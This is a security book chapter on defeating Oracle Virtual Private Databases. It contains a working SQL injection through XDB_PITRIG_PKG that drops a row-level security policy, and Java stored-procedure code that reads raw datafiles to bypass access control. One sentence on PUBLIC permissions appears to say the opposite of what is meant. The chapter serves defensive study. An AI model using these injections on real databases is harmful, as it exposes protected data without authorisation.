CHAPTER

8

Defeating Virtual Private Databases (a chapter from the Oracle Hacker's Handbook, David Litchfield, published by Wiley)

This chapter assumes you have an understanding of virtual private databases (VPD). If you don't, I recommend *Effective Oracle Database 10g Security by Design* by David Knox (McGraw-Hill, 2004). In short, a VPD is a security mechanism built into Oracle that allows fine-grained access control—or row-level security. It can be considered a view on steroids, and it is used to enforce a security policy. Essentially, VPDs allow a user to access only the data that the policy specifies they can access, and no more. However, there are a number of ways of defeating VPD. This chapter looks at a few.

Tricking Oracle into Dropping a Policy

VPDs are created using the `DBMS_RLS` package. The `DBMS_FGA` package can also be used—it does exactly the same thing. Incidentally, the RLS stands for row-level security, and the FGA stands for fine-grained access. If we want to see who can execute this package, we get the following:

```
SQL> select grantee,privilege from dba_tab_privs where table_name
='DBMS_RLS';

GRANTEE                  PRIVILEGE
------------------------------
EXECUTE_CATALOG_ROLE      EXECUTE
XDB                        EXECUTE
WKSYS                        EXECUTE

SQL> select grantee,privilege from dba_tab_privs where table_name
='DBMS_FGA';

GRANTEE                  PRIVILEGE
------------------------------
EXECUTE_CATALOG_ROLE      EXECUTE
```

Looking at this, if we can execute code as XDB or WKSYS, then we can manipulate RLS policies. Before we start, this let's set up a simple VPD. First, create the user who will own the VPD:

```
SQL> CONNECT / AS SYSDBA
Connected.
SQL> CREATE USER VPD IDENTIFIED BY PASS123;

User created.

SQL> GRANT CREATE SESSION TO VPD;

Grant succeeded.

SQL> GRANT CREATE TABLE TO VPD;

Grant succeeded.

SQL> GRANT CREATE PROCEDURE TO VPD;

SQL> GRANT UNLIMITED TABLESPACE TO VPD;

Grant succeeded.

SQL> GRANT EXECUTE ON DBMS_RLS TO VPD;

Grant succeeded.
```

With that done, we can set up a table for use as a VPD. For this example, we'll create a table that stores army orders:

```
SQL> CONNECT VPD/PASS123
Connected.
SQL> CREATE TABLE VPDTESTTABLE (CLASSIFICATION VARCHAR2(20),
```

```
  2  ORDER_TEXT VARCHAR(20), RANK VARCHAR2(20));

Table created.

SQL> GRANT SELECT ON VPDTESTTABLE TO PUBLIC;

Grant succeeded.

SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK) VALUES
('SECRET','CAPTURE ENEMY BASE','GENERAL');

1 row created.

SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK)
VALUES('UNCLASSIFIED','UPDATE DUTY ROTA','CORPORAL');

1 row created.

SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK)
VALUES('SECRET','INVADE ON TUESDAY','COLONEL');

1 row created.

SQL> INSERT INTO VPDTESTTABLE (CLASSIFICATION, ORDER_TEXT, RANK)
VALUES('UNCLASSIFIED','POLISH BOOTS','MAJOR');

1 row created.
```

Before setting up a VPD, because we've given PUBLIC the execute permission, anyone can get access to orders marked as `SECRET`:

```
SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SELECT * FROM VPD.VPDTESTTABLE;

CLASSIFICATION       ORDER_TEXT           RANK
-------------------- -------------------- ---------
SECRET               CAPTURE ENEMY BASE   GENERAL
UNCLASSIFIED         UPDATE DUTY ROTA     CORPORAL
SECRET               INVADE ON TUESDAY    COLONEL
UNCLASSIFIED         POLISH BOOTS         MAJOR
```

We'll set up a Virtual Private Database to prevent this. First we create a function that returns a predicate—essentially a `where` clause that is appended to the end of queries against the table:

```
SQL> CONNECT VPD/PASS123
Connected.
SQL> CREATE OR REPLACE FUNCTION HIDE_SECRET_ORDERS(p_schema  IN
VARCHAR2,p_object  IN VARCHAR2)
```

```
  2  RETURN VARCHAR2
  3  AS
  4  BEGIN
  5  RETURN 'CLASSIFICATION !=''SECRET''';
  6  END;
  7  /

Function created.
```

With the function created, it's now possible to use it to enforce the policy—which we'll call `SECRECY`:

```
SQL> BEGIN
  2  DBMS_RLS.add_policy
  3  (object_schema    => 'VPD',
  4  object_name      => 'VPDTESTTABLE',
  5  policy_name      => 'SECRECY',
  6  policy_function  => 'HIDE_SECRET_ORDERS');
  7  END;
  8  /

PL/SQL procedure successfully completed.
```

Now if we reconnect as SCOTT and select from this table, we'll only see non-secret orders:

```
SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SELECT * FROM VPD.VPDTESTTABLE;

CLASSIFICATION       ORDER_TEXT           RANK
-------------------- -------------------- --------------
UNCLASSIFIED         UPDATE DUTY ROTA     CORPORAL
UNCLASSIFIED         POLISH BOOTS         MAJOR
```

Time to get access again . . .

Earlier it was noted that XDB could execute the `DBMS_RLS` package. Theoretically, if we could find a flaw in any of the packages owned by XDB, we could exploit this to drop the policy. After a moment of searching for such a flaw to turn the theoretical practical, we come across one in the `XDB_PITRIG_PKG` package—a SQL injection flaw:

```
SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SELECT * FROM VPD.VPDTESTTABLE;

CLASSIFICATION       ORDER_TEXT           RANK
-------------------- -------------------- --------------
UNCLASSIFIED         UPDATE DUTY ROTA     CORPORAL
```

```
UNCLASSIFIED         POLISH BOOTS         MAJOR

SQL> CREATE OR REPLACE FUNCTION F RETURN NUMBER AUTHID CURRENT_USER IS
  2  PRAGMA AUTONOMOUS_TRANSACTION;
  3  BEGIN
  4  DBMS_OUTPUT.PUT_LINE('HELLO');
  5  EXECUTE IMMEDIATE 'BEGIN
SYS.DBMS_RLS.DROP_POLICY(''VPD'',''VPDTESTTABLE'',''SECRECY''); END;';
  6  RETURN 1;
  7  COMMIT;
  8  END;
  9  /

Function created.

SQL> CREATE TABLE FOO (X NUMBER);

SQL> EXEC XDB.XDB_PITRIG_PKG.PITRIG_DROP('SCOTT"."FOO" WHERE
1=SCOTT.F()--','BBBB');

PL/SQL procedure successfully completed.

SQL> SELECT * FROM VPD.VPDTESTTABLE;

CLASSIFICATION       ORDER_TEXT           RANK
-------------------- -------------------- --------------------
SECRET               CAPTURE ENEMY BASE   GENERAL
UNCLASSIFIED         UPDATE DUTY ROTA     CORPORAL
SECRET               INVADE ON TUESDAY    COLONEL
UNCLASSIFIED         POLISH BOOTS         MAJOR

SQL>
```

Now we have access to secret orders again. So what's going on here? The `PITRIG_DROP` procedure of the `XDB_PITRIG_PKG` package is vulnerable to SQL injection, and because this package is executable by PUBLIC, anyone can execute SQL as XDB. We create a function called F that executes the following:

```
BEGIN
SYS.DBMS_RLS.DROP_POLICY('VPD','VPDTESTTABLE','SECRECY');
END;
```

This drops the SECRECY policy from the `VPDTESTTABLE`. We then inject this function into `XDB_PITRIG_PKG.PITRIG_DROP` where it executes with XDB privileges, thus dropping the policy and giving us access to the secret data again. In addition, the `FOO` table is created and left empty to stop the "ORA-31007: Attempted to delete non-empty container" error we'd get if we used, for example, `SCOTT.EMP`. Frankly,

any SQL injection flaw in a definer rights package owned by SYS would have worked equally well—but to point is served. If you don't know the name of the policy on the VPDTESTTABLE, you can just get this information from the ALL_POLICIES view:

```
SQL> select OBJECT_OWNER, OBJECT_NAME, POLICY_NAME FROM ALL_POLICIES;

OBJECT_OWNER      OBJECT_NAME            POLICY_NAME
------------       -----------            -------------
VPD                  VPDTESTTABLE      SECRECY
```

Defeating VPDs with Raw File Access

You can entirely bypass database enforced access control by accessing the raw data file itself. This is fully covered in chapter 11—but here's the code now:

```
SET ESCAPE ON
SET ESCAPE "\"
SET SERVEROUTPUT ON

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADBINFILE" AS
import java.lang.*;
import java.io.*;

public class JAVAREADBINFILE
{
        public static void readbinfile(String f, int start) throws
IOException
      {
             FileInputStream fis;
            DataInputStream dis;
            try
            {
                  int i;
                  int ih,il;
                  int cnt = 1, h=0,l=0;
                  String hex[] = {"0", "1", "2","3", "4", "5", "6", "7",
"8","9", "A", "B", "C", "D", "E","F"};

                  RandomAccessFile raf = new RandomAccessFile (f, "r");
                  raf.seek (start);
                  for(i=0; i<=512; i++)
                  {

                        ih = il  = raf.readByte() \& 0xFF;
                        h = ih >> 4;
```

```
                        l = il \& 0x0F;



                        System.out.print("\\\\x" + hex[h] + hex[l]);
                        if(cnt \% 16 == 0)
                              System.out.println();
                        cnt ++;

                  }


            }
            catch (EOFException eof)
                  {
                  System.out.println();
                  System.out.println( "EOF reached " );
            }
            catch (IOException ioe)
            {
                  System.out.println( "IO error: " + ioe );
            }
        }
}
/
show errors
/
CREATE OR REPLACE PROCEDURE JAVAREADBINFILEPROC (p_filename  IN
VARCHAR2, p_start in number)
AS LANGUAGE JAVA
NAME 'JAVAREADBINFILE.readbinfile (java.lang.String, int)';
/
show errors
/
```

Once this has been created you can use it to read the files directly—in this case, the VPDTESTTABLE exists in the USERS tablespace:

```
SQL> set serveroutput on
SQL> exec dbms_java.set_output(2000);
PL/SQL procedure successfully completed.
SQL> exec
JAVAREADBINFILEPROC('c:\\oracle\\oradata\\orcl10G\\USERS01.DBF',3129184)
;
\x03\x1B\x01\x80\x02\x02\x2C\x01\x03\x0C\x55\x4E\x43\x4C\x41\x53
\x53\x49\x46\x49\x45\x44\x0C\x50\x4F\x4C\x49\x53\x48\x20\x42\x4F
\x4F\x54\x53\x05\x4D\x41\x4A\x4F\x52\x2C\x01\x03\x06\x53\x45\x43
\x52\x45\x54\x11\x49\x4E\x56\x41\x44\x45\x20\x4F\x4E\x20\x54\x55
\x45\x53\x44\x41\x59\x07\x43\x4F\x4C\x4F\x4E\x45\x4C\x2C\x01\x03
\x0C\x55\x4E\x43\x4C\x41\x53\x53\x49\x46\x49\x45\x44\x10\x55\x50
\x44\x41\x54\x45\x20\x44\x55\x54\x59\x20\x52\x4F\x54\x41\x08\x43
```

```
\x4F\x52\x50\x4F\x52\x41\x4C\x2C\x01\x03\x06\x53\x45\x43\x52\x45
\x54\x12\x43\x41\x50\x54\x55\x52\x45\x20\x45\x4E\x45\x4D\x59\x20
\x42\x41\x53\x45\x07\x47\x45\x4E\x45\x52\x41\x4C\x06\x06\x1E\xE2
\x06\xA2\x00\x00\x7E\x01\x00\x01\x1E\xE2\x1F\x00\x00\x00\x01\x04
\xBE\x1E\x00\x00\x01\x00\x0B\x00\x17\xCB\x00\x00\x01\xE2\x1F\x00
..
. .
```

PL/SQL procedure successfully completed. This output contains the secret data—for example, from the last three bytes on line 3 we have the following:

```
\x53\x45\x43\x52\x45\x54\x11\x49\x4E\x56\x41\x44\x45
S   E   C   R   E   T       I   N   V   A   D   E
\x20\x4F\x4E\x20\x54\x55\x45\x53\x44\x41\x59
    O   N       T   U   E   S   D   A   Y
```

General Privileges

I've seen a number of servers that have granted PUBLIC the execute permission of `DBMS_RLS`, and several tutorials on virtual private databases that do the same. This is not a good idea. There are also other packages that should have the execute permission for PUBLIC, such as `SYS.LTADM`, which has a procedure called `CREATERLSPOLICY` that directly calls the `DBMS_RLS.ADD_POLICY` procedure. `DBMS_FGA` is clearly another. `WK_ADM`, owned by WKSYS, is executable by PUBLIC and allows limited modification of policies.

Lastly, if someone can grant themselves the `EXEMPT ACCESS POLICY` system privilege—for example, via a SQL injection flaw—then policies will not apply to them.

Wrapping Up

In this chapter you have looked at a couple of ways that virtual private databases can be defeated. The same ideas, especially the raw file access method, can be applied to Oracle Label Security and the new Database Vault product. Encryption of data should be considered as a must for highly sensitive applications.